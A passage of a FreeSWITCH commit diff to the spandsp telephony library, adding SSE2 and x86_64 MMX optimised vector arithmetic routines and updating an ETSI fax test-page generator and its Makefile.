-void vec_scaled_subl(long double z[], const long double x[], long double x_scale, const long double y[], long double y_scale, int n)
+SPAN_DECLARE(void) vec_scaledxy_subl(long double z[], const long double x[], long double x_scale, const long double y[], long double y_scale, int n)
 {
     int i;
 
@@ -274,16 +548,46 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void vec_scalar_mulf(float z[], const float x[], float y, int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_scalar_mulf(float z[], const float x[], float y, int n)
 {
     int i;
+    __m128 n1;
+    __m128 n2;
+ 
+    if ((i = n & ~3))
+    {
+        n2 = _mm_set1_ps(y);
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n1 = _mm_mul_ps(n1, n2);
+            _mm_storeu_ps(z + i, n1);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3]*y;
+    case 2:
+        z[n - 2] = x[n - 2]*y;
+    case 1:
+        z[n - 1] = x[n - 1]*y;
+    }
+}
+#else
+SPAN_DECLARE(void) vec_scalar_mulf(float z[], const float x[], float y, int n)
+{
+    int i;
 
     for (i = 0;  i < n;  i++)
         z[i] = x[i]*y;
 }
+#endif
 /*- End of function --------------------------------------------------------*/
 
-void vec_scalar_mul(double z[], const double x[], double y, int n)
+SPAN_DECLARE(void) vec_scalar_mul(double z[], const double x[], double y, int n)
 {
     int i;
 
@@ -292,27 +596,165 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_scalar_addf(float z[], const float x[], float y, int n)
+{
+    int i;
+    __m128 n1;
+    __m128 n2;
+ 
+    if ((i = n & ~3))
+    {
+        n2 = _mm_set1_ps(y);
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n1 = _mm_add_ps(n1, n2);
+            _mm_storeu_ps(z + i, n1);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3] + y;
+    case 2:
+        z[n - 2] = x[n - 2] + y;
+    case 1:
+        z[n - 1] = x[n - 1] + y;
+    }
+}
+#else
+SPAN_DECLARE(void) vec_scalar_addf(float z[], const float x[], float y, int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] + y;
+}
+#endif
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) vec_scalar_add(double z[], const double x[], double y, int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] + y;
+}
+/*- End of function --------------------------------------------------------*/
+
 #if defined(HAVE_LONG_DOUBLE)
-void vec_scalar_mull(long double z[], const long double x[], long double y, int n)
+SPAN_DECLARE(void) vec_scalar_addl(long double z[], const long double x[], long double y, int n)
 {
     int i;
 
     for (i = 0;  i < n;  i++)
-        z[i] = x[i]*y;
+        z[i] = x[i] + y;
 }
 /*- End of function --------------------------------------------------------*/
 #endif
 
-void vec_mulf(float z[], const float x[], const float y[], int n)
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_scalar_subf(float z[], const float x[], float y, int n)
 {
     int i;
+    __m128 n1;
+    __m128 n2;
+ 
+    if ((i = n & ~3))
+    {
+        n2 = _mm_set1_ps(y);
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n1 = _mm_sub_ps(n1, n2);
+            _mm_storeu_ps(z + i, n1);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3] - y;
+    case 2:
+        z[n - 2] = x[n - 2] - y;
+    case 1:
+        z[n - 1] = x[n - 1] - y;
+    }
+}
+#else
+SPAN_DECLARE(void) vec_scalar_subf(float z[], const float x[], float y, int n)
+{
+    int i;
 
     for (i = 0;  i < n;  i++)
+        z[i] = x[i] - y;
+}
+#endif
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) vec_scalar_sub(double z[], const double x[], double y, int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] - y;
+}
+/*- End of function --------------------------------------------------------*/
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_scalar_subl(long double z[], const long double x[], long double y, int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] - y;
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_mulf(float z[], const float x[], const float y[], int n)
+{
+    int i;
+    __m128 n1;
+    __m128 n2;
+    __m128 n3;
+ 
+    if ((i = n & ~3))
+    {
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n2 = _mm_loadu_ps(y + i);
+            n3 = _mm_mul_ps(n1, n2);
+            _mm_storeu_ps(z + i, n3);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        z[n - 3] = x[n - 3]*y[n - 3];
+    case 2:
+        z[n - 2] = x[n - 2]*y[n - 2];
+    case 1:
+        z[n - 1] = x[n - 1]*y[n - 1];
+    }
+}
+#else
+SPAN_DECLARE(void) vec_mulf(float z[], const float x[], const float y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
         z[i] = x[i]*y[i];
 }
 /*- End of function --------------------------------------------------------*/
+#endif
 
-void vec_mul(double z[], const double x[], const double y[], int n)
+SPAN_DECLARE(void) vec_mul(double z[], const double x[], const double y[], int n)
 {
     int i;
 
@@ -322,7 +764,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
-void vec_mull(long double z[], const long double x[], const long double y[], int n)
+SPAN_DECLARE(void) vec_mull(long double z[], const long double x[], const long double y[], int n)
 {
     int i;
 
@@ -333,7 +775,7 @@
 #endif
 
 #if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
-float vec_dot_prodf(const float x[], const float y[], int n)
+SPAN_DECLARE(float) vec_dot_prodf(const float x[], const float y[], int n)
 {
     int i;
     float z;
@@ -344,7 +786,7 @@
  
     z = 0.0f;
     if ((i = n & ~3))
-    {    
+    {
         n4 = _mm_setzero_ps();  //sets sum to zero
         for (i -= 4;  i >= 0;  i -= 4)
         {
@@ -357,7 +799,7 @@
         n4 = _mm_add_ss(_mm_shuffle_ps(n4, n4, 1), n4);
         _mm_store_ss(&z, n4);
     }
-    /* Now deal with the last 1 to 3 elements, which don't fill in an SSE2 register */
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
     switch (n & 3)
     {
     case 3:
@@ -370,7 +812,7 @@
     return z;
 }
 #else
-float vec_dot_prodf(const float x[], const float y[], int n)
+SPAN_DECLARE(float) vec_dot_prodf(const float x[], const float y[], int n)
 {
     int i;
     float z;
@@ -383,7 +825,7 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-double vec_dot_prod(const double x[], const double y[], int n)
+SPAN_DECLARE(double) vec_dot_prod(const double x[], const double y[], int n)
 {
     int i;
     double z;
@@ -396,7 +838,7 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(HAVE_LONG_DOUBLE)
-long double vec_dot_prodl(const long double x[], const long double y[], int n)
+SPAN_DECLARE(long double) vec_dot_prodl(const long double x[], const long double y[], int n)
 {
     int i;
     long double z;
@@ -409,7 +851,7 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-float vec_circular_dot_prodf(const float x[], const float y[], int n, int pos)
+SPAN_DECLARE(float) vec_circular_dot_prodf(const float x[], const float y[], int n, int pos)
 {
     float z;
 
@@ -419,20 +861,57 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void vec_lmsf(const float x[], float y[], int n, float error)
+#define LMS_LEAK_RATE   0.9999f
+
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_SSE2)
+SPAN_DECLARE(void) vec_lmsf(const float x[], float y[], int n, float error)
 {
     int i;
+    __m128 n1;
+    __m128 n2;
+    __m128 n3;
+    __m128 n4;
+ 
+    if ((i = n & ~3))
+    {
+        n3 = _mm_set1_ps(error);
+        n4 = _mm_set1_ps(LMS_LEAK_RATE);
+        for (i -= 4;  i >= 0;  i -= 4)
+        {
+            n1 = _mm_loadu_ps(x + i);
+            n2 = _mm_loadu_ps(y + i);
+            n1 = _mm_mul_ps(n1, n3);
+            n2 = _mm_mul_ps(n2, n4);
+            n1 = _mm_add_ps(n1, n2);
+            _mm_storeu_ps(y + i, n1);
+        }
+    }
+    /* Now deal with the last 1 to 3 elements, which don't fill an SSE2 register */
+    switch (n & 3)
+    {
+    case 3:
+        y[n - 3] = y[n - 3]*LMS_LEAK_RATE + x[n - 3]*error;
+    case 2:
+        y[n - 2] = y[n - 2]*LMS_LEAK_RATE + x[n - 2]*error;
+    case 1:
+        y[n - 1] = y[n - 1]*LMS_LEAK_RATE + x[n - 1]*error;
+    }
+}
+#else
+SPAN_DECLARE(void) vec_lmsf(const float x[], float y[], int n, float error)
+{
+    int i;
 
     for (i = 0;  i < n;  i++)
     {
-        y[i] += x[i]*error;
         /* Leak a little to tame uncontrolled wandering */
-        y[i] *= 0.9999f;
+        y[i] = y[i]*LMS_LEAK_RATE + x[i]*error;
     }
 }
+#endif
 /*- End of function --------------------------------------------------------*/
 
-void vec_circular_lmsf(const float x[], float y[], int n, int pos, float error)
+SPAN_DECLARE(void) vec_circular_lmsf(const float x[], float y[], int n, int pos, float error)
 {
     vec_lmsf(&x[pos], &y[0], n - pos, error);
     vec_lmsf(&x[0], &y[n - pos], pos, error);

Modified: freeswitch/branches/seven/libs/spandsp/src/vector_int.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/vector_int.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/vector_int.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,20 +22,19 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: vector_int.c,v 1.15 2008/09/18 13:54:32 steveu Exp $
+ * $Id: vector_int.c,v 1.26 2009/07/12 09:23:09 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
@@ -44,17 +43,119 @@
 #endif
 #include <assert.h>
 
+#include "floating_fudge.h"
+#include "mmx_sse_decs.h"
+
 #include "spandsp/telephony.h"
 #include "spandsp/vector_int.h"
 
-int32_t vec_dot_prodi16(const int16_t x[], const int16_t y[], int n)
+SPAN_DECLARE(int32_t) vec_dot_prodi16(const int16_t x[], const int16_t y[], int n)
 {
     int32_t z;
 
 #if defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX)
+#if defined(__x86_64__)
     __asm__ __volatile__(
         " emms;\n"
         " pxor %%mm0,%%mm0;\n"
+        " leaq -32(%%rsi,%%rax,2),%%rdx;\n"     /* rdx = top - 32 */
+
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 1f;\n"
+
+        /* Work in blocks of 16 int16_t's until we are near the end */
+        " .p2align 2;\n"
+        "2:\n"
+        " movq (%%rdi),%%mm1;\n"
+        " movq (%%rsi),%%mm2;\n"
+        " pmaddwd %%mm2,%%mm1;\n"
+        " paddd %%mm1,%%mm0;\n"
+        " movq 8(%%rdi),%%mm1;\n"
+        " movq 8(%%rsi),%%mm2;\n"
+        " pmaddwd %%mm2,%%mm1;\n"
+        " paddd %%mm1,%%mm0;\n"
+        " movq 16(%%rdi),%%mm1;\n"
+        " movq 16(%%rsi),%%mm2;\n"
+        " pmaddwd %%mm2,%%mm1;\n"
+        " paddd %%mm1,%%mm0;\n"
+        " movq 24(%%rdi),%%mm1;\n"
+        " movq 24(%%rsi),%%mm2;\n"
+        " pmaddwd %%mm2,%%mm1;\n"
+        " paddd %%mm1,%%mm0;\n"
+
+        " addq $32,%%rsi;\n"
+        " addq $32,%%rdi;\n"
+        " cmpq %%rdx,%%rsi;\n"
+        " jbe 2b;\n"
+
+        " .p2align 2;\n"
+        "1:\n"
+        " addq $24,%%rdx;\n"                  /* Now edx = top - 8 */
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 3f;\n"
+
+        /* Work in blocks of 4 int16_t's until we are near the end */
+        " .p2align 2;\n"
+        "4:\n"
+        " movq (%%rdi),%%mm1;\n"
+        " movq (%%rsi),%%mm2;\n"
+        " pmaddwd %%mm2,%%mm1;\n"
+        " paddd %%mm1,%%mm0;\n"
+
+        " addq $8,%%rsi;\n"
+        " addq $8,%%rdi;\n"
+        " cmpq %%rdx,%%rsi;"
+        " jbe 4b;\n"
+
+        " .p2align 2;\n"
+        "3:\n"
+        " addq $4,%%rdx;\n"                  /* Now edx = top - 4 */
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 5f;\n"
+
+        /* Work in a block of 2 int16_t's */
+        " movd (%%rdi),%%mm1;\n"
+        " movd (%%rsi),%%mm2;\n"
+        " pmaddwd %%mm2,%%mm1;\n"
+        " paddd %%mm1,%%mm0;\n"
+
+        " addq $4,%%rsi;\n"
+        " addq $4,%%rdi;\n"
+
+        " .p2align 2;\n"
+        "5:\n"
+        " addq $2,%%rdx;\n"                  /* Now edx = top - 2 */
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 6f;\n"
+
+        /* Deal with the very last int16_t, when n is odd */
+        " movswl (%%rdi),%%eax;\n"
+        " andl $65535,%%eax;\n"
+        " movd %%eax,%%mm1;\n"
+        " movswl (%%rsi),%%eax;\n"
+        " andl $65535,%%eax;\n"
+        " movd %%eax,%%mm2;\n"
+        " pmaddwd %%mm2,%%mm1;\n"
+        " paddd %%mm1,%%mm0;\n"
+
+        " .p2align 2;\n"
+        "6:\n"
+        /* Merge the pieces of the answer */
+        " movq %%mm0,%%mm1;\n"
+        " punpckhdq %%mm0,%%mm1;\n"
+        " paddd %%mm1,%%mm0;\n"
+        /* Et voila, eax has the final result */
+        " movd %%mm0,%%eax;\n"
+
+        " emms;\n"
+        : "=a" (z)
+        : "S" (x), "D" (y), "a" (n)
+        : "cc"
+    );
+#else
+    __asm__ __volatile__(
+        " emms;\n"
+        " pxor %%mm0,%%mm0;\n"
         " leal -32(%%esi,%%eax,2),%%edx;\n"     /* edx = top - 32 */
 
         " cmpl %%edx,%%esi;\n"
@@ -149,6 +250,7 @@
         : "S" (x), "D" (y), "a" (n)
         : "cc"
     );
+#endif
 #else
     int i;
 
@@ -160,7 +262,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int32_t vec_circular_dot_prodi16(const int16_t x[], const int16_t y[], int n, int pos)
+SPAN_DECLARE(int32_t) vec_circular_dot_prodi16(const int16_t x[], const int16_t y[], int n, int pos)
 {
     int32_t z;
 
@@ -170,31 +272,180 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void vec_lmsi16(const int16_t x[], int16_t y[], int n, int16_t error)
+SPAN_DECLARE(void) vec_lmsi16(const int16_t x[], int16_t y[], int n, int16_t error)
 {
     int i;
 
     for (i = 0;  i < n;  i++)
-        y[i] += ((int32_t) x[i]*(int32_t) error) >> 15;
+        y[i] += (int16_t) (((int32_t) x[i]*(int32_t) error) >> 15);
 }
 /*- End of function --------------------------------------------------------*/
 
-void vec_circular_lmsi16(const int16_t x[], int16_t y[], int n, int pos, int16_t error)
+SPAN_DECLARE(void) vec_circular_lmsi16(const int16_t x[], int16_t y[], int n, int pos, int16_t error)
 {
     vec_lmsi16(&x[pos], &y[0], n - pos, error);
     vec_lmsi16(&x[0], &y[n - pos], pos, error);
 }
 /*- End of function --------------------------------------------------------*/
 
-int32_t vec_min_maxi16(const int16_t x[], int n, int16_t out[])
+SPAN_DECLARE(int32_t) vec_min_maxi16(const int16_t x[], int n, int16_t out[])
 {
 #if defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX)
     static const int32_t lower_bound = 0x80008000;
     static const int32_t upper_bound = 0x7FFF7FFF;
     int32_t max;
 
+#if defined(__x86_64__)
     __asm__ __volatile__(
         " emms;\n"
+        " pushq %%rdx;\n"
+        " leaq -8(%%rsi,%%rax,2),%%rdx;\n"
+
+        " cmpq %%rdx,%%rsi;\n"
+        " jbe 2f;\n"
+        " movd %[lower],%%mm0;\n"
+        " movd %[upper],%%mm1;\n"
+        " jmp 1f;\n"
+
+        " .p2align 2;\n"
+        "2:\n"
+        " movq (%%rsi),%%mm0;\n"   /* mm0 will be max's */
+        " movq %%mm0,%%mm1;\n"     /* mm1 will be min's */
+        " addq $8,%%rsi;\n"
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 4f;\n"
+
+        "3:\n"
+        " movq (%%rsi),%%mm2;\n"
+
+        " movq %%mm2,%%mm3;\n"
+        " pcmpgtw %%mm0,%%mm3;\n"  /* mm3 is bitmask for words where mm2 > mm0 */ 
+        " movq %%mm3,%%mm4;\n"
+        " pand %%mm2,%%mm3;\n"     /* mm3 is mm2 masked to new max's */
+        " pandn %%mm0,%%mm4;\n"    /* mm4 is mm0 masked to its max's */
+        " por %%mm3,%%mm4;\n"
+        " movq %%mm4,%%mm0;\n"     /* Now mm0 is updated max's */
+        
+        " movq %%mm1,%%mm3;\n"
+        " pcmpgtw %%mm2,%%mm3;\n"  /* mm3 is bitmask for words where mm2 < mm1 */ 
+        " pand %%mm3,%%mm2;\n"     /* mm2 is mm2 masked to new min's */
+        " pandn %%mm1,%%mm3;\n"    /* mm3 is mm1 masked to its min's */
+        " por %%mm3,%%mm2;\n"
+        " movq %%mm2,%%mm1;\n"     /* now mm1 is updated min's */
+
+        " addq $8,%%rsi;\n"
+        " cmpq %%rdx,%%rsi;\n"
+        " jbe 3b;\n"
+
+        " .p2align 2;\n"
+        "4:\n"
+        /* Merge down the 4-word max/mins to lower 2 words */
+        " movq %%mm0,%%mm2;\n"
+        " psrlq $32,%%mm2;\n"
+        " movq %%mm2,%%mm3;\n"
+        " pcmpgtw %%mm0,%%mm3;\n"  /* mm3 is bitmask for words where mm2 > mm0 */ 
+        " pand %%mm3,%%mm2;\n"     /* mm2 is mm2 masked to new max's */
+        " pandn %%mm0,%%mm3;\n"    /* mm3 is mm0 masked to its max's */
+        " por %%mm3,%%mm2;\n"
+        " movq %%mm2,%%mm0;\n"     /* now mm0 is updated max's */
+
+        " movq %%mm1,%%mm2;\n"
+        " psrlq $32,%%mm2;\n"
+        " movq %%mm1,%%mm3;\n"
+        " pcmpgtw %%mm2,%%mm3;\n"  /* mm3 is bitmask for words where mm2 < mm1 */ 
+        " pand %%mm3,%%mm2;\n"     /* mm2 is mm2 masked to new min's */
+        " pandn %%mm1,%%mm3;\n"    /* mm3 is mm1 masked to its min's */
+        " por %%mm3,%%mm2;\n"
+        " movq %%mm2,%%mm1;\n"     /* now mm1 is updated min's */
+
+        " .p2align 2;\n"
+        "1:\n"
+        " addq $4,%%rdx;\n"        /* now dx = top-4 */
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 5f;\n"
+        /* Here, there are >= 2 words of input remaining */
+        " movd (%%rsi),%%mm2;\n"
+
+        " movq %%mm2,%%mm3;\n"
+        " pcmpgtw %%mm0,%%mm3;\n"  /* mm3 is bitmask for words where mm2 > mm0 */ 
+        " movq %%mm3,%%mm4;\n"
+        " pand %%mm2,%%mm3;\n"     /* mm3 is mm2 masked to new max's */
+        " pandn %%mm0,%%mm4;\n"    /* mm4 is mm0 masked to its max's */
+        " por %%mm3,%%mm4;\n"
+        " movq %%mm4,%%mm0;\n"     /* now mm0 is updated max's */
+
+        " movq %%mm1,%%mm3;\n"
+        " pcmpgtw %%mm2,%%mm3;\n"  /* mm3 is bitmask for words where mm2 < mm1 */ 
+        " pand %%mm3,%%mm2;\n"     /* mm2 is mm2 masked to new min's */
+        " pandn %%mm1,%%mm3;\n"    /* mm3 is mm1 masked to its min's */
+        " por %%mm3,%%mm2;\n"
+        " movq %%mm2,%%mm1;\n"     /* now mm1 is updated min's */
+
+        " addq $4,%%rsi;\n"
+
+        " .p2align 2;\n"
+        "5:\n"
+        /* Merge down the 2-word max/mins to 1 word */
+        " movq %%mm0,%%mm2;\n"
+        " psrlq $16,%%mm2;\n"
+        " movq %%mm2,%%mm3;\n"
+        " pcmpgtw %%mm0,%%mm3;\n"  /* mm3 is bitmask for words where mm2 > mm0 */ 
+        " pand %%mm3,%%mm2;\n"     /* mm2 is mm2 masked to new max's */
+        " pandn %%mm0,%%mm3;\n"    /* mm3 is mm0 masked to its max's */
+        " por %%mm3,%%mm2;\n"
+        " movd %%mm2,%%ecx;\n"     /* cx is max so far */
+
+        " movq %%mm1,%%mm2;\n"
+        " psrlq $16,%%mm2;\n"
+        " movq %%mm1,%%mm3;\n"
+        " pcmpgtw %%mm2,%%mm3;\n"  /* mm3 is bitmask for words where mm2 < mm1 */ 
+        " pand %%mm3,%%mm2;\n"     /* mm2 is mm2 masked to new min's */
+        " pandn %%mm1,%%mm3;\n"    /* mm3 is mm1 masked to its min's */
+        " por %%mm3,%%mm2;\n"
+        " movd %%mm2,%%eax;\n"     /* ax is min so far */
+        
+        " addq $2,%%rdx;\n"        /* now dx = top-2 */
+        " cmpq %%rdx,%%rsi;\n"
+        " ja 6f;\n"
+
+        /* Here, there is one word of input left */
+        " cmpw (%%rsi),%%cx;\n"
+        " jge 9f;\n"
+        " movw (%%rsi),%%cx;\n"
+        " .p2align 2;\n"
+        "9:\n"
+        " cmpw (%%rsi),%%ax;\n"
+        " jle 6f;\n"
+        " movw (%%rsi),%%ax;\n"
+
+        " .p2align 2;\n"
+        "6:\n"
+        /* (finally!) cx is the max, ax the min */
+        " movswl %%cx,%%ecx;\n"
+        " movswl %%ax,%%eax;\n"
+
+        " popq %%rdx;\n"            /* ptr to output max,min vals */
+        " andq %%rdx,%%rdx;\n"
+        " jz 7f;\n"
+        " movw %%cx,(%%rdx);\n"    /* max */
+        " movw %%ax,2(%%rdx);\n"   /* min */
+        " .p2align 2;\n"
+        "7:\n"
+        /* Now calculate max absolute value */
+        " negl %%eax;\n"
+        " cmpl %%ecx,%%eax;\n"
+        " jge 8f;\n"
+        " movl %%ecx,%%eax;\n"
+        " .p2align 2;\n"
+        "8:\n"
+        " emms;\n"
+        : "=a" (max)
+        : "S" (x), "a" (n), "d" (out), [lower] "m" (lower_bound), [upper] "m" (upper_bound)
+        : "ecx"
+    );
+#else
+    __asm__ __volatile__(
+        " emms;\n"
         " pushl %%edx;\n"
         " leal -8(%%esi,%%eax,2),%%edx;\n"
 
@@ -341,6 +592,7 @@
         : "S" (x), "a" (n), "d" (out), [lower] "m" (lower_bound), [upper] "m" (upper_bound)
         : "ecx"
     );
+#endif
     return max;
 #else
     int i;
@@ -362,8 +614,11 @@
         /*endif*/
     }
     /*endfor*/
-    out[0] = max;
-    out[1] = min;
+    if (out)
+    {
+        out[0] = max;
+        out[1] = min;
+    }
     z = abs(min);
     if (z > max)
         return z;

Modified: freeswitch/branches/seven/libs/spandsp/test-data/etsi/fax/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/test-data/etsi/fax/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/test-data/etsi/fax/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,30 +16,37 @@
 ## along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 ##
-## $Id: Makefile.am,v 1.2 2008/09/10 16:55:15 steveu Exp $
+## $Id: Makefile.am,v 1.4 2009/02/25 17:52:51 steveu Exp $
 
 AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
 
 PBM2G3 = pbmtog3
 FAX2TIFF = fax2tiff
+TIFFCP = tiffcp
 
+ETSI_TEST_PAGES = etsi_300_242_a4_diago1.tif \
+                  etsi_300_242_a4_diago2.tif \
+                  etsi_300_242_a4_duration1.tif \
+                  etsi_300_242_a4_duration2.tif \
+                  etsi_300_242_a4_error.tif \
+                  etsi_300_242_a4_impress.tif \
+                  etsi_300_242_a4_impress_white.tif \
+                  etsi_300_242_a4_stairstep.tif \
+                  etsi_300_242_a4_white.tif \
+                  etsi_300_242_a4_white_2p.tif
+
 EXTRA_DIST = 
 
-nobase_data_DATA = etsi_300_242_a4_diago1.tif \
-                   etsi_300_242_a4_diago2.tif \
-                   etsi_300_242_a4_duration1.tif \
-                   etsi_300_242_a4_duration2.tif \
-                   etsi_300_242_a4_error.tif \
-                   etsi_300_242_a4_impress.tif \
-                   etsi_300_242_a4_impress_white.tif \
-                   etsi_300_242_a4_stairstep.tif \
-                   etsi_300_242_a4_white.tif \
-                   etsi_300_242_a4_white_2p.tif
+MAINTAINERCLEANFILES = Makefile.in
+
+LIBDIR = -L$(top_builddir)/src
+
+nobase_data_DATA = ${ETSI_TEST_PAGES}
                    
-noinst_PROGRAMS =   generate_etsi_300_242_pages
+noinst_PROGRAMS = generate_etsi_300_242_pages
 
 generate_etsi_300_242_pages_SOURCES = generate_etsi_300_242_pages.c
-generate_etsi_300_242_pages_LDADD = -ltiff
+generate_etsi_300_242_pages_LDADD = $(LIBDIR) -lspandsp -ltiff
 
 clean:
 	rm -f *.tif *.g3
@@ -50,14 +57,5 @@
 .pbm.g3:
 	${PBM2G3} $*.pbm >$*.g3
 
-etsi_300_242_a4_diago1.tif \
-etsi_300_242_a4_diago2.tif \
-etsi_300_242_a4_duration1.tif \
-etsi_300_242_a4_duration2.tif \
-etsi_300_242_a4_error.tif \
-etsi_300_242_a4_impress.tif \
-etsi_300_242_a4_impress_white.tif \
-etsi_300_242_a4_stairstep.tif \
-etsi_300_242_a4_white.tif \
-etsi_300_242_a4_white_2p.tif: generate_etsi_300_242_pages$(EXEEXT)
+${ETSI_TEST_PAGES}: generate_etsi_300_242_pages$(EXEEXT)
 	./generate_etsi_300_242_pages$(EXEEXT)

Modified: freeswitch/branches/seven/libs/spandsp/test-data/etsi/fax/generate_etsi_300_242_pages.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/test-data/etsi/fax/generate_etsi_300_242_pages.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/test-data/etsi/fax/generate_etsi_300_242_pages.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: generate_etsi_300_242_pages.c,v 1.2 2008/09/10 16:55:15 steveu Exp $
+ * $Id: generate_etsi_300_242_pages.c,v 1.5 2009/03/23 14:34:13 steveu Exp $
  */
 
 /*! \file */
@@ -177,18 +177,15 @@
     },
 };
 
+int photo_metric = PHOTOMETRIC_MINISWHITE;
+int fill_order = FILLORDER_LSB2MSB;
+
 static void clear_row(uint8_t buf[], int width)
 {
     memset(buf, 0, width/8 + 1);
 }
 /*- End of function --------------------------------------------------------*/
 
-static void set_row(uint8_t buf[], int width)
-{
-    memset(buf, 0xFF, width/8 + 1);
-}
-/*- End of function --------------------------------------------------------*/
-
 static void set_pixel(uint8_t buf[], int row, int pixel)
 {
     row--;
@@ -245,6 +242,7 @@
     uint8_t image_buffer[8192];
     int row;
     int start_pixel;
+    int i;
 
     /* TSB-85 STAIRSTEP page. */
     start_pixel = 0;
@@ -252,6 +250,15 @@
     {
         clear_row(image_buffer, 1728);
         set_pixel_range(image_buffer, 1, start_pixel, start_pixel + 63);
+        if (photo_metric != PHOTOMETRIC_MINISWHITE)
+        {
+            for (i = 0;  i < 1728/8;  i++)
+                image_buffer[i] = ~image_buffer[i];
+        }
+#if 0
+        if (fill_order != FILLORDER_LSB2MSB)
+            bit_reverse(image_buffer, image_buffer, 1728/8);
+#endif
         if (TIFFWriteScanline(tiff_file, image_buffer, row, 0) < 0)
         {
             printf("Write error at row %d.\n", row);
@@ -547,7 +554,38 @@
     float y_resolution;
     int i;
     int image_length;
+    int opt;
+    int compression;
 
+    compression = T4_COMPRESSION_ITU_T6;
+    photo_metric = PHOTOMETRIC_MINISWHITE;
+    fill_order = FILLORDER_LSB2MSB;
+    while ((opt = getopt(argc, argv, "126ir")) != -1)
+    {
+        switch (opt)
+        {
+        case '1':
+            compression = T4_COMPRESSION_ITU_T4_1D;
+            break;
+        case '2':
+            compression = T4_COMPRESSION_ITU_T4_2D;
+            break;
+        case '6':
+            compression = T4_COMPRESSION_ITU_T6;
+            break;
+        case 'i':
+            photo_metric = PHOTOMETRIC_MINISBLACK;
+            break;
+        case 'r':
+            fill_order = FILLORDER_MSB2LSB;
+            break;
+        default:
+            //usage();
+            exit(2);
+            break;
+        }
+    }
+
     tiff_file = NULL;
     for (i = 0;  sequence[i].name;  i++)
     {
@@ -571,9 +609,8 @@
         TIFFSetField(tiff_file, TIFFTAG_SAMPLESPERPIXEL, 1);
         TIFFSetField(tiff_file, TIFFTAG_ROWSPERSTRIP, -1L);
         TIFFSetField(tiff_file, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
-        TIFFSetField(tiff_file, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISWHITE);
